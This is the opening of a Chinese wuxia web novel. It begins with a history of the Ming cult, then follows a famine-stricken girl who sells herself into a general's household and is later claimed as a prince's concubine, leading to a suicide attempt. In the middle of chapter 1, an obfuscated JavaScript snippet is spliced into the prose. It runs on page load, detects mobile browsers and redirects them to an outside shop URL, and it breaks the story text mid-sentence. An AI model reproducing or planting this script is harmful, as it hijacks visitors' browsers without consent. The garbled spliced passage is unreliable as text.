《魔教之圣火传奇》 1. 第 1 章 序言 摩尼教,又称牟尼教,明教,后来又被官府和民间称之为 魔教,源自波斯,唐朝时期,通过丝绸之路逐渐传播到了中原地区,在武则天称帝后,波斯人罗可斯持《摩尼经》入中土,罗可斯拜见武则天,献上《摩尼经》,并为武皇讲说摩尼教义,武皇欣然接纳该教,摩尼教开始在大唐兴起,但是在开元二十年,唐玄宗李隆基下旨限制摩尼教,摩尼教随之陷入低谷,安史之乱爆发后,回鹘铁勒可汗帮助大唐平叛,因为铁勒可汗皈依摩尼教,并立其为国教,摩尼教以回鹘为靠山,再次在中原复兴,唐朝中后期,摩尼寺遍布中原,宗教影响力巨大,是摩尼教最为兴盛的一个时期。然而天有不测风云人有旦夕祸福,世事无常盛极必衰,这个时期对摩尼教的接纳并允许其发扬光大,并非唐朝皇室的本意,所以在开成五年(公元840年)回鹘为黠夏斯所灭之后,唐武宗李炎下令逐步取缔该教,然后并开始抄没回鹘及摩尼寺庄钱物,约束收管僧众。至会昌三年(公元843年),唐朝大败回鹘军,于是对摩尼教进一步打击,焚毁摩尼书像,废除摩尼寺,对教中男女信徒或杀或逐。官府文书中公开称摩尼教为魔教,并派遣宫廷侍卫高手大肆追杀摩尼教一众首领,民间百姓因为摩的读音与魔相似,也将摩尼教称之为魔教,摩尼教陷入水深火热生死攸关的绝境,其中昌平法师一支逃脱到凉州,以教义中的日月二字,改称明教,唐朝灭亡后,五代十国,宋,时期,中土明教已经汉化,经常为民请愿,并反抗官府压迫,被当时的官府视为洪水猛兽大逆不道,大肆宣称明教为魔教,并给予血腥镇压,在此期间,很多武林人士不明真相,也视明教为异端邪恶之魔教,接受官府号令,大肆屠杀明教教众,明教因此被迫转入地下,以各种隐秘手段暗中传播。北宋年间,明教教主方腊,又名方十三,率领手下日月法师(烈日法师包道乙,冷月法师郑彪),七大护教法王(平南王石宝,宝光王邓元觉,镇东王厉天闰,震西王司行方,金吾王方杰,扫北王张寅,飞龙王刘赟),十大降魔虎将(马上五虎:张威,徐方,邬福,甄诚,白钦,马下五虎:钱振,陆昌盛,郭世广,厉天佑,宋景德)和明教护教五行卫,聚众起义,这明教的护教五行卫,足足有两千之众,乃明教总舵耗费大量钱财,由教中顶尖高手精心训练打造的护教兵丁,这些护教五行卫是自幼通过层层筛选,挑选出来的身强体壮反应敏捷的孩童,从小就在明教总舵接受擒拿格斗击杀训练,个个武艺超群本领出众,杀伐果断出手无情,都是可以以一敌十的勇士,他们手中所持的是金背大砍刀,刀重三十六斤六两,是明教重金聘请能工巧匠百炼而成,锋刃极佳,身上背负的弓箭,乃宋代弓箭大师李宏所创的神臂弓,不但射程比普通弓箭远上一半,而且精准度非常高,杀伤力极大,箭囊中有三十六支乌木箭,乃明教总舵安排人手寻找稀有的百年乌铁木制成,水火不侵,刀剑难伤,腰间一边喷筒装的是六两六钱的毒龙水,这毒龙水是用西域曼陀罗花和沙漠中的蝰蛇毒液混合而成,人若是沾上一滴,就会皮开肉绽,痛不欲生,另一边腰间口袋中,装得是三十六颗火焰霹雳弹,这火焰霹雳弹是明教祖传秘法所制,不但火势凶猛,爆炸起来,更是威力惊人,杀伤力非常大,身后挂的是六斤六两重的运土铲,这些运土铲挖掘土木地道,最为得心应手,因为他们身上配置的武器装备,含金木水火土五种,所以被称作五行卫。这些明教五行卫,按沙场实战攻防演练,以古人兵法运筹部署,军令如山令行禁止,攻防兼备进退自如,暗合古人战场克敌杀敌阵法。自北宋以来,凡是明教起义,都大量用五行卫阵前杀敌和攻城掠地,战无不胜攻无不克,名震天下。方腊兴兵起义后,自称圣公,建元永乐,方腊等人个个武艺高强,身怀绝技,有勇有谋,护教五行卫更是骁勇善战,方腊率领部众迅速攻占了郎溪县城,并在短时间内占领了淳州,徽州,杭州等多地,此时已经拥兵十万,兵锋所至,所向披靡。 宋徽宗得知起义后,派太尉童贯率领十万禁军和各地征调的十五万精锐,合计二十五万大军前去镇压,方腊等人虽然勇猛,但是手下大部分部众却缺乏军事训练和战斗经验,武器过于粗糙,加上众寡悬绝,逐渐陷入困境,公元1121年,方腊率领人马在杭州城下与宋军展开决战,虽然方腊率领手下日月法师,七大护教法王,十大降魔虎将和明教护教五行卫浴血奋战杀敌无数,但是可惜寡不敌众最终失败,方腊被俘后被押解到汴京,拒绝投降,于公元1121年十月七日被处死。方腊起义失败后,手下的明教部众虽然散落四方,但是却如同星星之火亦可燎原,继续和官府展开不屈不挠的斗争,南宋时期,明教教主钟相率众起义,率领手下光明双尊六大法王十二神将和明教五行卫,攻城掠地势如破竹威震华夏,在南宋建炎年间,明教教主王宗石在信州起兵对抗官府,率领手下风云雷电四大光明使,八大护教法王,和明教五行卫,所到之处势不可挡,威震三山五岳五湖四海,可惜起义后,所召集的起义军士兵缺乏军事训练和战斗经验,最终功亏一篑,都以失败告终,王宗石失败后,手下部众为躲避官府追捕,在护教法王唐义昭的带领下,逃亡西北,手下部众拥立唐义昭为明教教主,唐义昭将明教总舵设在太白山圣火崖,为了掩人耳目,逃避官府追杀,于是将明教改为圣火教。 第第一章:卖身为奴 转眼间,已经到了公元1338年,此时元朝统治,已经到了风雨飘摇的时代,统治阶层腐朽堕落,穷奢极欲,丝毫不顾百姓死活,中原大地灾疫严重,百姓流离失所,正所谓:朱门酒肉臭,路有冻死骨。再加上元朝朝廷实现四等人制度,将全国人口分为四等:一等蒙古人,二等色目人,三等汉人,四等南人,更加造成民族分化,和各个民族之间相互敌对仇视,该制度严重影响了元朝的社会结构和民族关系,加剧了民族不平等,其中第四等的南人,指得是原南宋统治下的汉族及其他民族,南人在四等人中地位最低,受到的限制和歧视极多,无论是政治参与,还是法律待遇,都处在社会的最底层,百姓食不果腹,颠沛流离,蒙古统治下的官府,视南人为草芥,随意欺压剥削巧取豪夺,甚至凌辱杀害,由此引发各种社会矛盾,日益突出。在黄淮平原南端,有一座历史悠久的名城宿州,此城别称“云都、宿城、蕲城”,是现在的中华人民共和国安徽省下辖地级市,位于安徽最北部,苏、鲁、豫、皖四省交界,是安徽省“北大门”,被称为“九州通衢,中原门户,宿州是汉族文化重要发源地,大泽乡起义、垓下之战都在此发生,宿州所产灵璧石,历史悠久,俗话说得好:“和田有玉,灵璧有石”,灵璧石被誉为中国四大观赏石之一,形成于震旦纪浅海环境,以三奇(色奇、声奇、质奇)和五怪(瘦、透、漏、皱、丑)闻名遐迩,宿州城中有一户马姓人家,户主马青山,三十多岁,中等身材,面容清瘦,文质彬彬,三年前妻子郑氏因病亡故,带着瘸腿的弟弟马青石,和两个女儿马春梅马秀英,一起艰难度日,马青石和哥哥相貌相似,但是因为瘸腿的缘故,所以三十岁出头也没有娶妻成家,也就跟着大哥马青山一起生活,马青山的大女儿马春梅,刚刚十岁,二女儿马秀英刚六岁,一家四口,靠着马青山走街串巷卖个针头线脑和城外的几亩薄田,勉强维持生活,马青山长年累月,辛苦奔波,加上身体比较瘦弱,因此积劳成疾,得了重病,虽然求医问药,但是身体依然没有好转,到了年底,马青山感觉身体已经支撑不了,于是让弟弟马青石去请来族中的族长,请族长作证,将几亩薄田和两个女儿全部托付给马青石,马青石和两个侄女,痛哭流涕,悲伤欲绝,几日后,马青山与世长辞,马青石强忍悲痛,将兄长安葬后,带着两个侄女一起艰难度日。马青石因为腿有残疾,而且身体瘦弱,很多出力的差事也干不了,只能用手提着篮子,一步一拐的卖着一些针头线脑,赚一点微薄的辛苦钱补贴家用,家中日子,过得非常艰难凄惨。到了公元1340年,宿州遭遇大旱,方圆数百里,田地颗粒无收,马家的几亩薄田也未能幸免,马青石眼见家中余粮,已然不多,不由得长吁短叹心急如焚,只能每日让大侄女马春梅熬点稀粥,供一家日常饮食,自己则起早贪黑,走街串巷,希望可以多卖一点针头线脑,赚点辛苦钱,补贴家用。马春梅已经十二岁,逐渐懂事,对家中的情况非常了解,既心疼叔父整日拖着残疾之躯辛苦奔波,又怜悯妹妹每日食不果腹骨瘦如柴,于是每天也是起早贪黑出外挖点野菜,放入稀粥中食用,但是马春梅才十二岁,身单力薄,周边的野菜早让那些成年妇女挖空找尽,虽然马春梅每日辛苦劳累寻找野菜,但是找到的野菜却是寥寥无几不尽人意。这日一大早,马春梅又带着妹妹出了城,到了城外一条干涸的小河边,让妹妹在身边玩耍,自己在小河边搜寻野菜,找了半天,也没有找到几颗野菜,忽然看见前方,长着一群茅草,这茅草叶子十分坚硬,如同锯齿,一般人担心受伤,都不愿意去碰,但是茅草根却有些甘甜,马春梅心想:“既然找不到野菜,那就挖一些茅草根回去,总比饿肚子强。于是就拿起小铁铲开始挖掘,妹妹马秀英在一旁,看见茅草上结了很多草珠,觉得有趣,也采集了两大把,拿给姐姐看,道:“姐姐,这些草珠好好玩,我们带回去,一人做个手串。”马春梅擦擦脸上的汗水道:“好,晚上回去我们用这草珠做两个手串,一人一个带着玩。”马秀英见姐姐答应,情不自禁欢呼雀跃起来,马春梅挖了半天,累的汗流浃背,才挖了小半篮子茅草根,自己也是累的腰酸背痛,也就领着妹妹回家,走到城门口,看到城门外张贴告示,一群人正围着告示,议论纷纷,马春梅也拉着妹妹挤上前,去看看怎么回事,因为马青山在世时,曾经教过女儿识了一些字,马春梅也能看个七七八八大致的意思,又听周边人议论,也明白是怎么回事了,原来是宿州将军府在招使唤丫头,凡是愿意卖身为奴的,给纹银三十两。周边的百姓都在议论纷纷,有的说:“这三十两银子可不少了,今年大旱,家里都快揭不开锅了,这三十两银子能买好十几石粮食了,一大家子最起码饿不死。”有的说:“咱们就是穷死饿死,也不能把女儿往火坑里推啊,卖给将军府做奴才,这一辈子都翻不了身,这辈子就完了。”马春梅听了众人议论,思绪良久,心情久久不能平静,思前想后犹豫了半天,低着头拉着妹妹回家,回到家中,马春梅将今天采挖到的几颗野菜,放入稀粥中,又生火热了一下,然后舀了一碗稀粥,和两颗野菜,给妹妹马秀英食用,马秀英早已饿的前胸贴后背,接过碗就开始狼吞虎咽,三口并作两口将稀饭和野菜吃得一干二净,然后对姐姐道:“姐姐,我还很饿,能不能再让我吃一点?”此时马春梅忙了半天,自己还没有舍得吃稀饭和野菜,也是饥肠辘辘,听到妹妹的乞求声,不禁眼中含泪心中难过,但是回头看了看锅中所剩无几的稀饭和野菜,只好强忍心酸,摸摸妹妹的头,柔声道:“阿妹,我们还要留一点给二叔回来吃,我把茅草根洗干净,我们吃一点茅草根,姐姐明天争取多挖点野菜,让你吃饱。”马秀英倒也懂事,听了姐姐的话,道:“好的,姐姐,明天我也帮你挖。”马春梅点点头,和妹妹一起,将茅草根洗干净,两人吃了一些后,马春梅对对妹妹道:“阿妹,你把草珠拿来,姐姐来给你做手串。”马秀英兴高采烈,把草珠拿给姐姐,马春梅找出家中的针线,做了两个手串,姐妹俩一人带了一串,在家中等叔叔马青石回来,傍晚时分,马青石回到家中,奔波了一天,也是累的腰酸背痛,马春梅将锅里仅有的一点稀饭和野菜,全部舀给叔叔,马青石问道:“春梅,你和阿妹吃了没有?”马春梅强忍腹中饥饿,道:“叔叔,我和阿妹已经吃过了。”马青石点点头,将那点稀饭和野菜吃完。第二天一大早,马青石又出门去做买卖,马春梅对马秀英道:“阿妹,你在家里呆着,不要乱跑,姐姐出去,拿个东西,一会就回来。”马秀英点点头,道:“姐姐,我在家等你,你快点回来哟。”马春梅出了家门,直奔宿州将军府走去,功夫不大,已经到了将军府门口,只见将军府门口摆着一张桌子,桌后的椅子上坐着一个四十多岁的妇人,长得丰满富态,身后站着四个丫鬟模样的侍女,桌前有两三对夫妻,拉着两三个十几岁的小女孩,正在陪着笑脸,询问入府为仆事宜。马春梅也挤上前,向那中年妇人躬身施礼,怯生生问道:“婆婆,我是来府中为奴的,请问是在这里签契约吗?”那中年妇人,看了看马春梅,道:“你家大人呢?你一个小女孩,怎么一个人来这里啊?” 马春梅回道:“婆婆,我父母双亡,家中只有一个叔叔和妹妹,所以我就一个人来了。”那妇人说:“那可不行,你一个小丫头,家中父母双亡,你叔叔又没来,我可不能要你。”马春梅听闻此言,噗通一声跪倒在地,道:“婆婆,求求你大发慈悲,我家中已经没有口粮了,我叔叔腿有残疾,起早贪黑,走街串巷,卖点针头线脑的,赚得一点点可怜的辛苦钱,我妹妹刚刚八岁,还不懂事,整日食不果腹,饿的骨瘦如柴,求婆婆开恩,把我收进府中,所得银两,给我叔叔和我妹妹,在家买些粮食度过这大旱之年,婆婆若不开恩,我们一家三口,就要活活饿死了。”说罢,泪如雨下泣不成声,只是对着那妇人连连磕头,那妇人闻言,不由得为之动容,动了恻隐之心,脸上露出同情神色,站起身来到桌前,伸手拉起马春梅,问道:“你叔叔腿有残疾,在卖针头线脑,是不是叫马青石?”马春梅伸手抹抹眼泪,回道:“婆婆,我叔叔就是马青石,您认识他吗?”妇人道:“当年你父亲马青山活着的时候,三天两头来将军府卖针头线脑,现在你那瘸腿叔叔也经常过来,我当然认识了,说起来,我和你去世的母亲也算是远房亲戚。”马春梅抽抽噎噎道:“婆婆,既然你认识我父亲和叔叔,和我母亲还是远房亲戚,您也知道我家里的情况,求您大发慈悲把我收进府里吧,这样我叔叔和妹妹有了银两,可以买点粮食,我们一家三口不至于活活饿死呀。”说着又要给妇人跪下,妇人拉着马春梅的胳膊,没有让她下跪,叹口气说:“小丫头,你叫什么名字?”马春梅道:“婆婆,我叫马春梅。”妇人道:“你可知道卖身为奴,以后一辈子都难以翻身了,你家里人以后若是拿不出银两替你赎身,你可就要当一辈子的奴仆啊,你可要想清楚。”马春梅道:“婆婆,卖身为奴,总比一家三口饿死强,我想清楚了,请婆婆大发慈悲成全我。”妇人又连叹几口气,问道:“这么大的事,你叔叔怎么没有陪你一起来?”马春梅哽咽道:“婆婆,我叔叔对我和妹妹,视若己出,他若是知道我要卖身为奴,定然不肯允准。”妇人道:“小丫头,你这不是让婆婆为难吗?你既然知道,你叔叔不肯允准,我又怎能收你入府?”马春梅听闻此言,又噗通跪倒,连连磕头,口中道:“婆婆,我已经十二岁了,我可以自己签卖身契的,求婆婆开恩成全我,不然我一家三口,真的要活活饿死了。”说罢,又是泣不成声,妇人见此情形,也是眼中含泪,长叹一声,弯腰伸手将马春梅拉起,道:“小丫头,难得你这么懂事,又有一片孝心,婆婆就成全你吧。”说罢,转身拿起笔墨,写了一份契约,然后对马春梅道:“小丫头,婆婆念给你听听。”只听妇人念到:“立契字之人,为马氏之女马春梅,因家中贫困,无力养活,情愿卖身于宿州将军府兀良哈将军为奴,卖身银为上等纹银三十两,人银两清,不得反悔,契书为证。”念完对马春梅说:“小丫头,你可听明白了?”马春梅回道:“婆婆,我听明白了,我愿意。”妇人将契约放到桌上,对马春梅道:“小丫头,你过来签字画押。”马春梅俯身在桌上的卖身契上签上自己的名字,并按上手印。”妇人道:“小丫头,我来取三十两银子给你,你可要拿好了,春花秋月,你们从府上叫两个兵丁,你们四个人陪着这个小丫头把银两送回家,路上注意一点,可千万不能有什么闪失,等小丫头事情办好,再把她带回来。”那妇人从桌子抽屉里,取了三十两纹银,递给马春梅,马春梅双手接过银两,小心翼翼的揣入怀中,这时春花秋月两个丫鬟已经叫来两个兵丁,马春梅又对妇人躬身行礼,道:“婆婆,我现在和姐姐们回家,把银两送回去,等会我就回来。”妇人点点头道:“速去速回,不要耽搁。”马春梅和两个丫鬟两个兵丁,起身往家回,在回去路上,马春梅又恳请两个兵丁帮忙,在路边的粮行买了些米面,让兵丁手提肩扛回到家中。此时马青石已经回到家中,正在和马秀英说话,突然见侄女进家,后面跟着两个衣饰华丽的女子和两个穿戴整齐,挎着腰刀,扛着口袋的兵丁进来,禁不住吓得一跳,连忙问道:“春梅,这是怎么回事?”马春梅强颜欢笑,招呼两个兵丁放下米面,转头对马青石道:“叔叔,我找到一份好差事了,这是我预支的薪水。”说完从怀中将剩余的银两全部掏出,递给马青石,马青石看见这么多银两,顿时大吃一惊,两眼直愣愣瞪着侄女,并没有伸手去接银两,而是厉声问道:“春梅,你从哪里来的这么多银两?你老老实实和我说清楚。”马春梅此时心中悲苦,又见叔叔声色俱厉的喝问自己,刹那间泪流满面泣不成声,身后的春花道:“你家侄女已经卖身为奴到将军府,这是她卖身的三十两银子,刚才在路上,她买了些粮食,这是她剩下的银两,你可要收好了。”马青石闻言,如同晴天霹雳,一瘸一拐上前两步,抓着马春梅的胳膊,问到:“ 春梅,你告诉叔叔,这不是真的!这不是真的!”旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727697|189533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的马秀英虽然才八岁,但也听出了一些端倪,也扑到姐姐身边,抱着姐姐大声哭泣,口中道:“姐姐,我不要你离开,我不要你离开。”马春梅泪如雨下,用手搂着妹妹,放声痛哭,马青石道:“春梅,你答应叔叔,我们把银两退给他们,我们不去将军府做奴才。”旁边的一个兵丁闻言,冷笑道:“你家侄女已经在卖身契上签字画押了,回来的路上,还花了一两多银子买了这么多米面回来,现在岂是你可以随便反悔的?赶快收拾东西,随我们回将军府,若是再啰里啰嗦纠缠不清,惹恼了我们将军,把你们一家三口砍头,也不费吹灰之力!”马春梅闻言,不敢耽搁,抹抹眼泪,哽咽着道:“叔叔,你在家带好妹妹,用这些银两买些口粮,你们两个要好好的活下去,我去将军府为奴,可以吃饱穿暖,你们不用担心我,有空的时候,我就回来看你们。”马青石眼见木已成舟无法挽回,刹那间也是泪如雨下,松开抓着侄女胳膊的双手,捶胸顿足嚎啕大哭起来,口中念到:“哥哥嫂嫂,我对不起你们啊,我对不起你们啊!”马秀英见叔叔和姐姐如此悲痛,在一旁哭得更加惨烈,马春梅一手拉着叔叔,一手搂着妹妹,也是嚎啕大哭起来,两个兵丁和两个丫鬟,相互看了看,没有吱声,等这一家三口,哭的稍微缓和一点后,春花上前道:“小妹妹,别伤心了,收拾东西,跟我们回府吧。”马春梅强忍悲痛,点点头,转身进屋简单收拾了一点衣物,打了个包裹,又来到马青石面前,噗通跪倒,道:“叔叔,您请珍重,妹妹就拜托给您了。”说完,砰砰砰,磕了三个响头,马青石见事已至此,也只能强忍悲痛,伸手扶起侄女,道:“孩子,你去将军府万事都要小心,一定要保护好自己,等到旱情过后,叔叔看能不能把那几亩田地卖了,凑钱再把你赎回来。”马春梅连连摇头道:“叔叔,那几亩田地是你和妹妹赖以生存的保障啊,你可千万不能卖了啊,我在将军府会万事小心的,你们在家好好生活。”说完,强忍心中酸楚,拎着包裹和春花秋月两个丫鬟,两个兵丁一起出了家门,功夫不大,几人到了将军府,马春梅找那妇人报到,妇人道:“小丫头,以后你就喊我秦妈,这将军府后院,我是你们的总管,以后有什么不懂的,你就问春花吧。”然后命春花将马春梅安顿住处,又发放了府中的丫鬟服饰,自此,马春梅便在将军府开始了奴仆生涯。 在将军府待了满一个月后,马春梅向秦妈告了半天假,准备回家看叔叔和妹妹,等到回家后,和叔叔妹妹见了面,三人相拥而泣,马春梅从怀里掏了一点平时在将军府省下的零食给妹妹,又向叔叔问了问家中的情况,马青石眼含泪水道:“家里很好,你给我们的银两,买的粮食,吃到明年都绰绰有余,你不用担心,等到明年有雨水了,我把那几亩田好好拾掇拾掇,争取多收点粮食,我和小阿妹,都能吃的饱饱的,你就放心吧,你在府里万事都要小心啊。”马春梅道:“叔叔,你放心,我做什么事都会小心的。”马青石道:“那就好,要是你有什么闪失,我以后有什么脸面去见你死去的爹娘啊。”马青石说着说着,已经泪流满面,马春梅连忙劝慰,三个人在家中聊了半天,到了傍晚,马春梅才依依不舍的告别了叔叔和妹妹,回到将军府,以后的每个月,马春梅都会向秦妈请半天假,回去看叔叔和妹妹,秦妈看着这小丫头也是实在可怜,每个月也就允许她回去半天探望家人,这样的生活过了将近两年,这一天,秦妈突然召集所有的家仆,在院子里开会,秦妈道:“今天召集大家来,是告诉大家一件大喜事,我们兀良哈将军,受到朝廷升职封赏,要去安西府当大将军,你们收拾好行李,任何人不得耽搁,十日之后全府上下,一起去安西府。”众人听了,齐声答道:“是!”马春梅闻言,不由得心乱如麻,心想现在在宿州将军府为奴,每个月还能见到叔叔妹妹,没想到兀良哈将军要到安西府当大将军,那以后自己再也见不到叔叔和妹妹了,想到这里,不禁六神无主,待到众人散去后,马春梅来到秦妈面前,道:“秦妈,我想回去看一下叔叔和妹妹,请您恩准。”秦妈用同情的眼神看了看她,道:“好,小丫头,你速去速回。”马春梅回到自己房间,将平时积攒的一点零食放入怀中,出了将军府,往家走去,回到家中,只有妹妹一个人在家,估计叔叔又去走街串巷卖针头线脑了,马春梅等了一个多时辰,马青石回到家中,见到侄女回家,心中很是高兴,道:“春梅,今天怎么准许你回来了?你今天迟点回将军府,叔叔到街上买点菜,晚上我们一起吃个饭。”马春梅含泪点点头,马青石也没注意到侄女的表情,转身去外面买了一点肉和菜回来,一家三口洗菜做饭,等饭菜好后,围在破桌边,开始吃饭,马秀英把姐姐带回来的零食,拿给马青石品尝,马青石咽了咽唾沫,道:“秀英,这是你姐姐带给你吃的,你吃吧,叔叔不喜欢吃这个。”马秀英见叔叔不吃,也就兴高采烈地拿着零食,一点点的小口品尝起来,三人吃饭时,马春梅道:“叔叔,妹妹,我今天回来是有件事要告诉你们。”马青石道:“什么事啊?”马春梅道:“今天秦妈告诉我们,我们将军府的兀良哈将军,受到朝廷封赏,要调到安西府做大将军,秦妈让我们收拾行李,十日后全府上下一起随大将军去安西府。”马青石一听,刹那间心头巨震,手中碗筷都惊的掉落在地,急声问道:“春梅,你也要跟着一起去吗?”马春梅点点头道:“是的。”马青石瞬间感觉如同掉入冰窖,全身冰冷刺骨,口中喃喃道:“那,那,以后,我们是不是就见不到面了?”妹妹秀英在旁边听了,顿时目瞪口呆,呆若木鸡,马春梅涩声回道:“叔叔,妹妹,以后有机会见面的,说不定哪一天,我们将军回宿州城,我会恳请一起回来,到时候我回家看你们。”马青石此时心如刀绞,心里知道,侄女所言,只是为了宽慰自己和小阿妹,马青石心中悲苦,眼泪在眼眶中直打转,妹妹马秀英在一旁,虽然不是太明白,但也知道,以后和姐姐恐怕是很难见面了,于是扑到姐姐怀里,抱着姐姐急声道:“姐姐,你能不能恳请那将军,让你留在宿州的将军府啊?我舍不得你离开。”马春梅抚摸着妹妹的头,心中悲伤难过,泪水如同决了堤的洪水,顺着脸颊不断滑落,哽咽着道:“妹妹,以后和叔叔在家,一定要听叔叔的话,叔叔出门做生意的时候,你要把家整理干净,姐姐已经现在是将军府的奴仆,只能跟着将军去安西府了,你在家中万事都要谨慎,一定要听叔叔的话。”说罢,再也忍不住心中的悲伤,搂着妹妹放声大哭起来,马青石在一旁,也是直抹眼泪,哭了多时,马春梅见时候已经不早,起身和叔叔妹妹告别,马青石一瘸一拐的带着马秀英把马春梅送到家门外,马春梅道:“叔叔,你和妹妹在家要好好的,我回去了。”马青石心中不舍,拉着马秀英,又送了马春梅很长一段路,眼看就要到将军府门口了,马春梅停下脚步,道:“叔叔,你们回去吧,以后有机会,我会回来看你们的。”马青石眼泪汪汪道:“春梅,这次去安西府,离家很远,你在那里举目无亲,凡事都要小心啊。”马春梅点点头,转身离去,马秀英见姐姐离去,忍不住挣脱马青石的手,哭着喊着:“姐姐,姐姐。”追了上去,马春梅停下脚步,强忍心中的悲苦,抱着妹妹,为妹妹擦去脸上的泪水,在妹妹的耳旁道:“阿妹,答应姐姐,一定要好好的活下去,等到以后你长大了,找到好人家嫁了,一定要记得来安西府看姐姐。”马秀英紧紧的抱着姐姐,哭泣道:“姐姐,我不要你离开,我不要你离开。”马春梅亲了亲妹妹,拉着妹妹的手,把她交给了走到面前的马青石,道:“叔叔,妹妹就拜托你了。”说罢,咬着牙狠狠心转身离去,马秀英还想去追姐姐,却被马青石紧紧的拉住,只能望着姐姐离去的背影,撕心裂肺的大声哭喊,此时马春梅眼中的泪水早已淋湿了衣襟,只能强忍心中的悲痛,头也不回的走进将军府。十日后清晨,宿州将军府,全府上下收拾妥当,一起出发前往安西府,马春梅和众丫鬟坐在后面的马车里,顺着车窗向外看去,远远看见叔叔拉着妹妹站在路旁,正翘首以盼的看着将军府车队,在满脸焦急的东张西望,马春梅把头伸出车窗,对着叔叔和妹妹连连摆手,等马车行到叔叔和妹妹面前的时候,马春梅大声喊道:“叔叔,妹妹,再见了,妹妹以后记得来安西府看姐姐。”马青石和马秀英听到声音,马青石连忙一边拉着马秀英的手,一瘸一拐的追着马车,一边对着马春梅大声喊道:“春梅,你多保重啊!万事要小心啊!”马兰英也边哭边喊道:“姐姐,你多保重,我以后一定会去找你的!”马车前行,很快将马青石和马秀英甩下,马春梅强忍心中的悲痛,眼中含泪,回头看着叔叔和妹妹,频频挥手,与叔叔和妹妹告别,随着马车渐行渐远,叔叔和妹妹的身影也消失不见。 2. 第 2 章 第二章:逃出安西 在路上行了将近一个月,终于到达了安西府,安西府是现在的陕西省西安市,古称长安、镐京,是中国中西部的历史文化名城,拥有3000多年历史,曾是十三个王朝的都城,建都史长达1140年。早在西周时期,周文王在洋河西岸建立丰京,周武王在东岸建立镐京,合称丰镐,成为西周的都城。公元前770年,周平王迁都洛邑,丰镐逐渐没落。公元前221年,秦始皇统一中国,以咸阳为都城,开启了西安作为都城的历史。西汉时期,汉武帝将都城迁至长安,使其成为丝绸之路的起点。新朝和东汉初期,西安也短暂成为都城。五胡十六国与南北朝时期:前赵、前秦、后秦、西魏、北周等政权先后在西安建都,隋朝建立后,长安继续发展,大运河的开凿加强了南北经济联系。唐朝时期,长安成为世界上最繁华的城市之一,经济、文化和科技达到顶峰,唐朝开元元年(公元713年),改长安所在的雍州为京兆府,北宋年间虽然将首都定于开封府,但京兆府并未因此改名,元世祖至元九年(公元1272年),忽必烈封其三子忙哥剌为安西王,镇守京兆府。至元十六年(公元1279年),京兆府被升为安西路,又称安西府。 此时安西府城外,大批官员已经早早在城外等候,迎接兀良哈大将军,一行人来到了官邸,居住下来,秦妈指挥全府的丫鬟奴仆,进行大清理,足足忙了半个月才安顿下来,将军和夫人也是很满意,马春梅随着众丫鬟在府中又过了两年左右时间,虽然马春梅日夜思念叔叔和妹妹,但是也无可奈何,只能在心中默默祝福叔叔和妹妹一切安好。这一天,秦妈召集丫鬟奴仆,道:“你们给我听好了,三天后,朝廷会派安亲王来安西府慰问军队,我们大将军会请安亲王来府中做客,大家这几天要打起精神,把院落厅堂打扫的一尘不染,你们听明白了吗?”众丫鬟奴仆齐声答道:“明白了。”秦妈点点头道:“好,你们都去干活吧,手脚放麻利一点,千万别偷懒。”接下来的三天,全府上下都在清理打扫,等待朝廷安亲王的到来。三日后傍晚时分,大将军府门前,人声鼎沸,车马阵阵,安亲王带着一众随从,来到大将军府做客,兀良哈大将军恭恭敬敬的带领手下几名将军在门口迎接,待到安亲王来到会客厅后,分宾主落座,敬上奶茶,又欢声笑语聊了一阵,宴会开始,宴会上,精心烤制的牛羊肉,美酒佳肴源源不断的送上来,主宾双方,把酒言欢,不亦乐乎,这安亲王希利格五十岁左右,是当今的皇叔,位高权重,贪财好色,酒过三巡之后,安亲王的眼睛,就色眯眯的盯着往上送酒送菜的丫鬟身上,当他看到马春梅时,情不自禁的眼前一亮,死死的盯着马春梅看,兀良哈大将军顺着安亲王的眼光一看,看到了马春梅,又看到安亲王色眯眯的样子,心中已然明白,道:“安亲王,您这次来安西府,家中女眷都在大都,您看我府上可有看上眼的,我给您送到您的官邸。”安亲王色眯眯的指着马春梅道:“大将军客气了,你府上这个小丫头,长得可真漂亮。”兀良哈大将军哈哈大笑道:“能得到安亲王夸赞,是她的福份,我今晚就安排人把她送过去。”安亲王摇摇头道:“明后两天,本王都要慰问军队,这些个人的私事,等慰问军队后,再做安排吧,免得朝廷有人以此为借口,攻击本王。”兀良哈大将军连连点头,恭维道:“王爷一心为公,心系广大兵将,实乃我大元朝之福,那三日后,末将就把这奴婢送到您官邸。”安亲王笑着点点头,道:“那就谢谢大将军了。”主宾二人哈哈大笑,又举杯畅饮。马春梅在一旁听到,只觉得胆战心惊毛骨悚然,吓得手足冰凉,如同掉入冰窖一般,勉勉强强跟着众人,继续端酒送菜,待到酒席结束后,马春梅回到房间后,一夜没有睡好,只觉得提心吊胆,心神不宁。第二天一早,秦妈带着两个丫鬟推门进来,秦妈意味深长的看看马春梅,道:“小丫头,你的福份到了,朝廷的安亲王看上你了,要纳你为他的第十七房小妾,以后啊,你就可以享福啦,恭喜啊恭喜,大将军让我来给你准备一些衣物服饰。”马春梅闻听此言,只觉得晴天霹雳一般,瞬间惊恐万分,噗通一声跪倒在地,道:“秦妈,我不想去做安亲王的小妾,我本是良家女子,只因家中贫困,才卖身为奴,已经是辱没先人,现在怎能贪图荣华富贵,做人小妾,请秦妈禀告大将军,收回成命。”说完嘭嘭嘭连连磕头,秦妈道:“小丫头,大将军一言既出驷马难追,更何况朝廷的安亲王位高权重,他既然看上你,谁又敢去请他收回成命?你这两天好好的梳理打扮一下,三天后,大将军派人送你过门。”马春梅听闻此言,刹那间心如死灰,站起身形,三步并做两步,使劲向墙上撞去,只听咚的一声,马春梅晕倒在地,秦妈等人大惊失色,连忙上前查看,只见马春梅额头已经撞破,血流如注,众人连忙一边为她掐人中捶后背,一边为她清洗包扎,过了好大一会,马春梅悠悠醒来,睁开眼睛,看着秦妈等人,不禁放声大哭,口中念到:“秦妈妈,两位姐姐,你们何必要救我,就让我死了算了。”秦妈和春花秋月两个丫